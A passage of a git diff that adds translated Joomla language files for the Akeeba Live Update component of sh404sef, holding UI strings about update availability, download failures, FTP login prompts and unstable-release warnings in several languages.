Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Atualizações" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Atualizações diretas não são suportadas neste servidor" +LIVEUPDATE_NOTSUPPORTED_INFO="O seu servidor indica que a atualização direta não é suportada. Por favor contate o seu alojamento e peça-lhes para ativar a extensão cURL do PHP ou ativar a função fopen(). Se estas já estiverem ativadas, por favor peça-lhes para configurar o firewall para permitir o acesso à seguinte URL:" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Pode sempre atualizar pelo processo normal %s visita o nosso sítio, descarrega a última versão e instala pelo instalador de extensões do Joomla." + +LIVEUPDATE_STUCK_HEAD="O atualizador direto marcou-se a si mesmo como defeituoso" +LIVEUPDATE_STUCK_INFO="O atualizador direto indica que bloqueou na última vez que tentou entrar em contato com o servidor de atualização. Isso geralmente indica um alojamento que bloqueia ativamente as comunicações com sites externos. Se quiser tentar novamente obter as informações de atualização, por favor clique no botão ATUALIZAR INFORMAÇÕES DE ATUALIZAÇÃO. Se isto resultar numa página em branco, carrtegue no botão voltar e depois contate seu gestor de alojamento e relate este problema." + +LIVEUPDATE_ERROR_NEEDSAUTH="Deve indicar um nome de utilizador/senha ou Download ID para os parâmetros do componente antes de tentar fazer a atualização para a última versão. O botão de atualização continuará desativado até que faça isso." +LIVEUPDATE_HASUPDATES_HEAD="Está disponível uma nova versão" +LIVEUPDATE_NOUPDATES_HEAD="Existe uma nova versão disponível" +LIVEUPDATE_CURRENTVERSION="Versão instalada" +LIVEUPDATE_LATESTVERSION="Última versão" +LIVEUPDATE_LATESTRELEASED="Data da última versão" +LIVEUPDATE_DOWNLOADURL="URL de transferência direta" + +LIVEUPDATE_REFRESH_INFO="Atualizar as informações de atualização" +LIVEUPDATE_DO_UPDATE="Atualizar para versão mais recente" + +LIVEUPDATE_FTP_REQUIRED="O atualizador direto indica necessitar de utilizar o FTP para descarregar e instalar a sua atualização, mas você não indicou as suas informações de autenticação FTP na Configuração Global do Joomla!.

    Por favor, indique abaixo o nome de utilizador e senha FTP para prosseguir com a atualização." +LIVEUPDATE_FTP="Informação de FTP" +LIVEUPDATE_FTPUSERNAME="Nome de utilizador FTP" +LIVEUPDATE_FTPPASSWORD="Senha FTP" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Transferir e instalar atualização" + +LIVEUPDATE_DOWNLOAD_FAILED="A transferência do pacote de atualização falhou. Certifique-se de que a pasta TEMP é editável ou que ativou as opções de FTP do Joomla nas configurações globais de seu sítio." +LIVEUPDATE_EXTRACT_FAILED="A extração do pacote de atualização falhou. Por favor tente atualizar a extensão manualmente." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Tipo de pacote inválido. A atualização não pode continuar." +LIVEUPDATE_INSTALLEXT="Instalar %s %s" +LIVEUPDATE_ERROR="Erro" +LIVEUPDATE_SUCCESS="Sucesso" + +LIVEUPDATE_ICON_UNSUPPORTED="Atualização direta não suportada" +LIVEUPDATE_ICON_CRASHED="Atualização direta bloqueou" +LIVEUPDATE_ICON_CURRENT="Tem a versão mais recente" +LIVEUPDATE_ICON_UPDATES="ATUALIZAÇÃO ENCONTRADA! Clique para atualizar." + +LIVEUPDATE_RELEASEINFO="Informação" +LIVEUPDATE_RELEASENOTES="Notas da versão" +LIVEUPDATE_READMOREINFO="Ver mais" + +LIVEUPDATE_NAGSCREEN_HEAD="ATENÇÃO: Está prestes a instalar uma versão não estável!" +LIVEUPDATE_NAGSCREEN_BODY="Está prestes a instalar uma versão instável (%s - %s). Versões instáveis destinam-se a programadores avançados já que podem ​​podem ter sofrido testes mínimos ou mesmo nenhuns e conter falhas desconhecidas que podem ter um efeito adverso grave à estabilidade e funcionalidade do seu sítio. Se não tiver a certeza sobre o que está prestes a fazer, por favor, feche esta janela. Se estiver certo dos riscos envolvidos com a instalação de versões instáveis​​, então clique no botão abaixo para continuar a instalação desta versão instável." +LIVEUPDATE_NAGSCREEN_BUTTON="Compreendo os riscos. Continuar com a instalação." + +LIVEUPDATE_STABILITY_ALPHA="Alfa" +LIVEUPDATE_STABILITY_BETA="Beta" +LIVEUPDATE_STABILITY_RC="RC" +LIVEUPDATE_STABILITY_STABLE="Estável" +LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/ru-RU/ru-RU.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/ru-RU/ru-RU.liveupdate.ini new file mode 100644 index 00000000..ab6118a2 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/ru-RU/ru-RU.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Автоматическое обновление" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Автоматическое обновление не поддерживается на этом сервере" +LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сообщает, что автоматическое обновление не поддерживается. Пожалуйста, обратитесь к Вашему хостеру и попросите его разрешить CURL расширение для PHP или включить функцию URL FOPEN(). Если они уже включены, пожалуйста, попросите его настроить их сетевой экран так, чтобы она позволяла получить доступ к следующему адресу:"_QQ_"" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Вы всегда сможете обновить %s посетив наш сайт, вручную, загрузив последнюю версию и установив ее с помощью Joomla!." + +LIVEUPDATE_STUCK_HEAD="Автоматическое обновление обнаружило ошибку" +LIVEUPDATE_STUCK_INFO="Автоматическое обновление обнаружило, что произошла ошибка при последнем сеансе связи с сервером обновлений. Обычно это означает, что хост блокирует связи с внешними сайтами. Если Вы желаете снова получить информацию об обновлении, пожалуйста, нажмите кнопку "_QQ_"Освежить информацию об обновлении"_QQ_" , расположенную ниже. Если это приводит к появлению пустой страницы, пожалуйста, свяжитесь с Вашим хостером и сообщите об этой проблеме." + +LIVEUPDATE_ERROR_NEEDSAUTH="Перед попыткой обновления до последней версии, Вы должны ввести Ваше имя пользователя/пароль или ID загрузки в параметры компонента. Кнопка обновления будет оставаться неактивной, пока Вы этого не сделаете." +LIVEUPDATE_HASUPDATES_HEAD="Доступна новая версия" +LIVEUPDATE_NOUPDATES_HEAD="У Вас уже установлена последняя версия" +LIVEUPDATE_CURRENTVERSION="Установленная версия" +LIVEUPDATE_LATESTVERSION="Последняя версия" +LIVEUPDATE_LATESTRELEASED="Дата выхода последней версии" +LIVEUPDATE_DOWNLOADURL="Ссылка для прямой загрузки" + +LIVEUPDATE_REFRESH_INFO="Освежить информацию об обновлении" +LIVEUPDATE_DO_UPDATE="Обновить до последней версии" + +LIVEUPDATE_FTP_REQUIRED="Автоматическое обновление определило, что необходимо использовать FTP для загрузки и установки обновления, но Вы не сохранили данные для авторизации на FTP в общих настройках Joomla!.

    Просьба ввести свое имя пользователя и пароль FTP для продолжения обновления." +LIVEUPDATE_FTP="Информация FTP" +LIVEUPDATE_FTPUSERNAME="Имя пользователя FTP" +LIVEUPDATE_FTPPASSWORD="Пароль пользователя FTP" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Загрузить и установить обновление" + +LIVEUPDATE_DOWNLOAD_FAILED="Загрузка пакета обновления не удалась. Убедитесь, что временный каталог доступен для записи или что Вы включили и настроили FTP в общих настройках Joomla!." +LIVEUPDATE_EXTRACT_FAILED="Извлечение пакета обновления не удалось. Пожалуйста, попробуйте обновить компонент вручную." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Неверный тип пакета. Обновление не может продолжаться." +LIVEUPDATE_INSTALLEXT="Установлено %s %s" +LIVEUPDATE_ERROR="Ошибка" +LIVEUPDATE_SUCCESS="Успешно" + +LIVEUPDATE_ICON_UNSUPPORTED="Автоматическое обновление не поддерживается" +LIVEUPDATE_ICON_CRASHED="Автоматическое обновление не удалось!" +LIVEUPDATE_ICON_CURRENT="У Вас последняя версия" +LIVEUPDATE_ICON_UPDATES="НАЙДЕНА НОВАЯ ВЕРСИЯ! НАЖМИТЕ ДЛЯ ОБНОВЛЕНИЯ." + +; LIVEUPDATE_RELEASEINFO="Information" +; LIVEUPDATE_RELEASENOTES="Release notes" +; LIVEUPDATE_READMOREINFO="Read more" + +; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/sk-SK/sk-SK.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/sk-SK/sk-SK.liveupdate.ini new file mode 100644 index 00000000..ee121e7b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/sk-SK/sk-SK.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +; LIVEUPDATE_TASK_OVERVIEW="Live Update" + +; LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server" +; LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:" +; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update %s by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer." + +; LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" +; LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "_QQ_"Refresh update information"_QQ_" button below. If that results to a blank page, please contact your host and report this issue." + +; LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." +; LIVEUPDATE_HASUPDATES_HEAD="A new version is available" +; LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version" +; LIVEUPDATE_CURRENTVERSION="Installed version" +; LIVEUPDATE_LATESTVERSION="Latest version" +; LIVEUPDATE_LATESTRELEASED="Latest release date" +; LIVEUPDATE_DOWNLOADURL="Direct download URL" + +; LIVEUPDATE_REFRESH_INFO="Refresh update information" +; LIVEUPDATE_DO_UPDATE="Update to the latest version" + +; LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

    Please provide the FTP username and password below to proceed with the update." +; LIVEUPDATE_FTP="FTP Information" +; LIVEUPDATE_FTPUSERNAME="FTP Username" +; LIVEUPDATE_FTPPASSWORD="FTP Password" +; LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download and install update" + +; LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration." +; LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually." + +; LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed." +; LIVEUPDATE_INSTALLEXT="Install %s %s" +; LIVEUPDATE_ERROR="Error" +; LIVEUPDATE_SUCCESS="Success" + +; LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported" +; LIVEUPDATE_ICON_CRASHED="Live Update crashed" +; LIVEUPDATE_ICON_CURRENT="You have the latest version" +; LIVEUPDATE_ICON_UPDATES="UPDATE FOUND! CLICK TO UPDATE." + +; LIVEUPDATE_RELEASEINFO="Information" +; LIVEUPDATE_RELEASENOTES="Release notes" +; LIVEUPDATE_READMOREINFO="Read more" + +; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/sl-SI/sl-SI.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/sl-SI/sl-SI.liveupdate.ini new file mode 100644 index 00000000..e0061f5b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/sl-SI/sl-SI.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Posodobljanje v živo" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Posodabljanje v živo ni podprto na tem strežniku" +LIVEUPDATE_NOTSUPPORTED_INFO="Vaš server ne podpira Live Posodobitev. Obrnite se na svojega gostitelja in ga prosite, da se omogoči razširitev CURL PHP ali aktivira URL fopen () ovoje. Če so ti že omogočeno, ga prosite, naj svoje požarni zid konfigurirate tako, da omogoča dostop do naslednjih URL:" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Vedno lahko posodobite %s tako, da obiščete našo spletno stran, ročno prenesete najnovejše sprostitve in jih namestite z Joomla! 's namestitev razširitve." + +LIVEUPDATE_STUCK_HEAD="Posodobitev v živo je označena kot spodletelo" +LIVEUPDATE_STUCK_INFO="Posodobitev v živo je določila, da se je zrušila v zadnjem času, ko je poskušala stopiti v stik strežnika za posodabljanje. To ponavadi pomeni, gostitelja, ki aktivno blokira komunikacijo z zunanjimi spletnimi stranmi. Če želite ponoviti ljubek posodabljanje informacij, prosimo, kliknite "_QQ_"Osvežite informacije posodabljanja"_QQ_" spodnji gumb. Če bo rezultat prazna stran, prosimo, obrnite se na gostitelja, in poročajte o tej zadevi." + +LIVEUPDATE_ERROR_NEEDSAUTH="Morate predloži svoje uporabniško ime / geslo ali ID Prenosa s parametri sestavnega dela, preden poskušate nadgraditi na najnovejšo različico. Gumb Nadgradnja bo ostal onemogočen." +LIVEUPDATE_HASUPDATES_HEAD="Nova različica je na voljo" +LIVEUPDATE_NOUPDATES_HEAD="Že imate zadnjo verzijo" +LIVEUPDATE_CURRENTVERSION="Nameščena različica" +LIVEUPDATE_LATESTVERSION="Zadnja različica" +LIVEUPDATE_LATESTRELEASED="Zadnji Datum izdaje" +LIVEUPDATE_DOWNLOADURL="Direktni prenos URL" + +LIVEUPDATE_REFRESH_INFO="Osveži informacij posodobitev" +LIVEUPDATE_DO_UPDATE="Posodobitev na najnovejšo različico" + +LIVEUPDATE_FTP_REQUIRED="Posodobitev v živo določa, da morate uporabiti FTP, da prenesete in namestite posodobitev, vendar niste shranili FTP podatke za prijavo v vaši Joomla! Globalne Konfiguracije.

    Prosimo, za FTP uporabniško ime in geslo za nadaljevanje posodobitve." +LIVEUPDATE_FTP="FTP Informacije" +LIVEUPDATE_FTPUSERNAME="FTP Uporabniško ime" +LIVEUPDATE_FTPPASSWORD="FTP Geslo" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Prenesite in namestite posodobitev" + +LIVEUPDATE_DOWNLOAD_FAILED="Nalaganje posodobitvenega paketa ni uspela. Prepričajte se, da je vaš temp-imenik zapisljiv ali da ste omogočili Joomla! 'S FTP možnosti v vaše strani Globalne Konfiguracije." +LIVEUPDATE_EXTRACT_FAILED="Pridobivanja posodobitvenega paketa ni uspela. Poskusite posodabljanje razširitve ročno." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Neveljavna vrsta paketa.Posodobitev ne morem nadaljevati." +LIVEUPDATE_INSTALLEXT="Nameščeno %s %s" +LIVEUPDATE_ERROR="Napaka" +LIVEUPDATE_SUCCESS="Uspešno" + +LIVEUPDATE_ICON_UNSUPPORTED="Posodabljanje v živo ni podprto" +LIVEUPDATE_ICON_CRASHED="Posodabljanje v živo je spodletelo" +LIVEUPDATE_ICON_CURRENT="Imate najnovejšo različico" +LIVEUPDATE_ICON_UPDATES="POSODOBITEV NA VOLJO! KLIKNITE ZA POSODOBITEV." + +LIVEUPDATE_RELEASEINFO="Informacije" +LIVEUPDATE_RELEASENOTES="Opombe ob izdaji" +LIVEUPDATE_READMOREINFO="Preberite več" + +LIVEUPDATE_NAGSCREEN_HEAD="OPOZORILO! Ste pred tem namestiti nestabilno različico." +LIVEUPDATE_NAGSCREEN_BODY="Ste pred tem namestili nestabilno različico (%s - %s). Nestabilne različice so lahko opravili minimalno ali brez testiranja in vsebujejo napake, ki imajo lahko resno škodljivost za stabilnost in funkcionalnost vaše spletne strani. Če niste prepričani o tem, kaj si o tem narediti, zaprite to okno brskalnika. Če ste popolnoma prepričani, da razumete tveganja, povezana z namestitvijo nestabilnih izdaj, kliknite na spodnji gumb, da nadaljujte z namestitvijo te nestabilne izdaje." +LIVEUPDATE_NAGSCREEN_BUTTON="Razumem tveganja. Nadaljujte z namestitvijo." + +LIVEUPDATE_STABILITY_ALPHA="Alfa" +LIVEUPDATE_STABILITY_BETA="Beta" +LIVEUPDATE_STABILITY_RC="RC" +LIVEUPDATE_STABILITY_STABLE="Stabilna" +LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/sv-SE/sv-SE.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/sv-SE/sv-SE.liveupdate.ini new file mode 100644 index 00000000..3f68a899 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/sv-SE/sv-SE.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Live Update" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update stöds inte på denna server" +LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerar att Live Update inte stöds. Kontakta ditt webbhotell och be dem aktivera PHP-tillägget cURL och att aktivera URL fopen() wrappers. Om detta redan är aktiverat skall du be dem konfiurera brandväggen så att den accepterar anslutningar från följande URL:"_QQ_"" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid uppdatera %s manuellt genom att vår webbplats och ladda ned senaste utgåvan och installera via Joomla som vanligt." + +LIVEUPDATE_STUCK_HEAD="Live Update har markerat sig själv som krashad" +LIVEUPDATE_STUCK_INFO="Live Update har indikerat att den kraschade förra gången den försökte kontakta uppdateringsservern. Detta händer vanligen om kommunikationen med externa webbplatser aktivt har blockerats. Om du vill fortsätta hämta uppdateringsinformation, klicka på knappen "_QQ_"Hämta uppdateringsinfo på nytt"_QQ_" här nedan. Om detta resluterar i en blank sida skall du kontakta ditt webbhotell och rapportera ärendet." + +LIVEUPDATE_ERROR_NEEDSAUTH="Du måste ange användarnamn/lösenord eller Nedladdnings-ID i komponentens Inställningar innan du försöker uppdatera till senaste version. Uppgraderingsknappen kommer att vara inaktiv till dess detta är gjort." +LIVEUPDATE_HASUPDATES_HEAD="Det finns en ny version tillgänglig" +LIVEUPDATE_NOUPDATES_HEAD="Du har den senatste versionen" +LIVEUPDATE_CURRENTVERSION="Installerad version" +LIVEUPDATE_LATESTVERSION="Senaste version" +LIVEUPDATE_LATESTRELEASED="Senaste utgåvodatum" +LIVEUPDATE_DOWNLOADURL="Direkt nedladdnings-URL" + +LIVEUPDATE_REFRESH_INFO="Hämta uppdateringsinformation" +LIVEUPDATE_DO_UPDATE="Uppdatera till senaste version" + +LIVEUPDATE_FTP_REQUIRED="Live Update har upptäckt att den behöver använda FTP för att kunna ladda ned och installera uppdateringen. Du har inte sparat din FTP-inloggningsinfo i Joomlas globala inställningar.

    Ange ditt FTP användarnamn och lösenord nedan för att fortsätta med uppdateringen." +LIVEUPDATE_FTP="FTP-Information" +LIVEUPDATE_FTPUSERNAME="FTP användarnamn" +LIVEUPDATE_FTPPASSWORD="FTP Lösenord" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Ladda ned och installera uppdateringen" + +LIVEUPDATE_DOWNLOAD_FAILED="Nedladdningen av uppdateringen misslyckades. Kontrollera att temp-mappen är skrivbar och att du aktiverat Joomla!s FTP-lager i de globala inställningarna för din webbplats." +LIVEUPDATE_EXTRACT_FAILED="Uppackningen av uppdaterinspaketet misslyckades. Försök att uppdatera tillägget manuellt." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Ogiltig pakettyp. Uppdateringen kan inte fortsätta." +LIVEUPDATE_INSTALLEXT="Installera %s %s" +LIVEUPDATE_ERROR="FEL!" +LIVEUPDATE_SUCCESS="Klart" + +LIVEUPDATE_ICON_UNSUPPORTED="Live Update stöds inte" +LIVEUPDATE_ICON_CRASHED="Live Update krashade" +LIVEUPDATE_ICON_CURRENT="Du har den senaste versionen" +LIVEUPDATE_ICON_UPDATES="UPPDATERING HITTAD! KLICKA FÖR ATT UPPDATERA." + +LIVEUPDATE_RELEASEINFO="Information" +LIVEUPDATE_RELEASENOTES="Release notes" +LIVEUPDATE_READMOREINFO="Läs mer" + +; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." +; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." +; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." + +; LIVEUPDATE_STABILITY_ALPHA="Alpha" +; LIVEUPDATE_STABILITY_BETA="Beta" +; LIVEUPDATE_STABILITY_RC="RC" +; LIVEUPDATE_STABILITY_STABLE="Stable" +; LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/tr-TR/tr-TR.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/tr-TR/tr-TR.liveupdate.ini new file mode 100644 index 00000000..fa125f07 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/tr-TR/tr-TR.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Canlı Güncelleme" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Canlı Güncelleme bu sunucu üzerinde desteklenmiyor" +LIVEUPDATE_NOTSUPPORTED_INFO="Sunucunuz Canlı Güncellemeyi desteklemiyor. Lütfen sunucu yöneticinizle görüşerek cURL PHP ekini ya da URL fopen() sarıcılarını etkinleştirmelerini isteyin. Bu ekler zaten etkinleştirilmişse, güvenlik duvarını şu İnternet adresine izin verecek şekilde ayarlamalarını isteyin:" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="%s güncellemelerini istediğiniz zaman el ile kurmak için, sitemizden en son sürümü indirip Joomla! bileşen kurucusu ile yükleyebilirsiniz." + +LIVEUPDATE_STUCK_HEAD="Canlı güncellemede bir sorun çıkmış" +LIVEUPDATE_STUCK_INFO="Canlı Güncelleme, güncelleme sunucusuna son kez bağlanmaya çalıştığında bir sorun çıkmış. Bu duruma genellikle dışarıdaki sunuculara yapılan bağlantıları engelleyen bir ayar yol açar. Güncelleme bilgisini yeniden almak isterseniz lütfen aşağıdaki "_QQ_"Güncelleme bilgisini alın"_QQ_" düğmesine tıklayın. Boş beyaz bir sayfa ile karşılaşırsanız bu durumu sunucu yöneticinize iletin." + +LIVEUPDATE_ERROR_NEEDSAUTH="Son sürüme güncellemeyi denemeden önce, bileşen ayarları bölümüne kullanıcı adınızı/parolanızı ya da indirme kodunuzu yazmalısınız. Bu bilgileri yazana kadar Güncelleyin düğmesi devre dışı kalır." +LIVEUPDATE_HASUPDATES_HEAD="Yeni bir sürüm var" +LIVEUPDATE_NOUPDATES_HEAD="Son sürümü kullanıyorsunuz" +LIVEUPDATE_CURRENTVERSION="Kullandığınız sürüm" +LIVEUPDATE_LATESTVERSION="Son sürüm" +LIVEUPDATE_LATESTRELEASED="Son yayın tarihi" +LIVEUPDATE_DOWNLOADURL="Doğrudan indirme adresi" + +LIVEUPDATE_REFRESH_INFO="Güncelleme bilgisini alın" +LIVEUPDATE_DO_UPDATE="Son sürüme güncelleyin" + +LIVEUPDATE_FTP_REQUIRED="Canlı Güncelleme, güncellemeyi indirip kurmak yerine FTP kullanmaya gerek duyuyor, ancak FTP bilgilerinizi Joomla! Genel Ayarlarına kaydetmemişsiniz.

    Bu güncellemeyi yapabilmek için FTP kullanıcı adı ve parolanızı aşağıya yazın." +LIVEUPDATE_FTP="FTP Bilgileri" +LIVEUPDATE_FTPUSERNAME="FTP Kullanıcı Adı" +LIVEUPDATE_FTPPASSWORD="FTP Parolası" +LIVEUPDATE_DOWNLOAD_AND_INSTALL="Güncellemeyi indirin ve yükleyin" + +LIVEUPDATE_DOWNLOAD_FAILED="Güncelleme paketi indirilemedi. Geçici klasörünüzün yazılabilir olduğundan ya da Joomla! Genel Ayarlarından FTP seçeneğini etkinleştirdiğinizden emin olun." +LIVEUPDATE_EXTRACT_FAILED="Güncelleme paketi ayıklanamadı. Lütfen bileşeni el ile güncellemeyi deneyin." + +LIVEUPDATE_INVALID_PACKAGE_TYPE="Geçersiz paket tipi. Güncelleme yapılamıyor." +LIVEUPDATE_INSTALLEXT="%s %s yükleyin" +LIVEUPDATE_ERROR="Hata" +LIVEUPDATE_SUCCESS="Başarılı" + +LIVEUPDATE_ICON_UNSUPPORTED="Canlı Güncelleme desteklenmiyor" +LIVEUPDATE_ICON_CRASHED="Canlı Güncelleme hata verdi" +LIVEUPDATE_ICON_CURRENT="Son sürümü kullanıyorsunuz" +LIVEUPDATE_ICON_UPDATES="GÜNCELLEME VAR! YÜKLEMEK İÇİN TIKLAYIN." + +LIVEUPDATE_RELEASEINFO="Bilgiler" +LIVEUPDATE_RELEASENOTES="Yayın Notları" +LIVEUPDATE_READMOREINFO="Devamını okuyun" + +LIVEUPDATE_NAGSCREEN_HEAD="DİKKAT! Kararsız bir sürüm yüklemek üzeresiniz." +LIVEUPDATE_NAGSCREEN_BODY="Kararsız bir sürüm yüklemek üzeresiniz (%s - %s). Kararsız sürümler çok az denendiği ya da hiç denenmediği için hatalar içerir ve web sitenizin düzgün çalışmasını engelleyebilir. Ne yaptığınızdan emin değilseniz bu tarayıcı penceresini kapatın. Kararsız sürümleri yüklemekle alacağınız risklerin farkındaysanız, yüklemeye devam etmek için aşağıdaki düğmeye tıklayın." +LIVEUPDATE_NAGSCREEN_BUTTON="Riskleri anladım. Yüklemeye devam edeceğim." + +LIVEUPDATE_STABILITY_ALPHA="Alfa" +LIVEUPDATE_STABILITY_BETA="Beta" +LIVEUPDATE_STABILITY_RC="Yayın adayı" +LIVEUPDATE_STABILITY_STABLE="Kararlı" +LIVEUPDATE_STABILITY_SVN="SVN" \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/uk-UA/uk-UA.liveupdate.ini b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/uk-UA/uk-UA.liveupdate.ini new file mode 100644 index 00000000..068ed34a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/liveupdate/language/uk-UA/uk-UA.liveupdate.ini @@ -0,0 +1,56 @@ +; Akeeba Live Update +; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com +; Licensed under the GNU LGPLv3 or later + +LIVEUPDATE_TASK_OVERVIEW="Live Update" + +LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update не підтримується на цьому сервері" +LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сигналізує, що Live Update не підтримується. Будь ласка, зв’яжіться з вашим постачальником послуг хостингу і попросіть його ввімкнути розширення PHP cURL або активувати пакувальники URL fopen(). Якщо вони вже ввімкнені, будь ласка, попросіть його сконфігурувати мережеві екрани так, щоб вони дозволяли доступ до цих URL:"_QQ_"" +LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Ви можете завжди оновити %s відвідавши наш сайт персонально, завантажити останній випуск та встановити його, використовуючи інсталятор розширень Joomla!." + +LIVEUPDATE_STUCK_HEAD="Live Update позначив себе таким, що зазнав краху" +LIVEUPDATE_STUCK_INFO="Live Update визначив, що він зазнав краху останнього разу, коли намагався зв’язатися з сервером 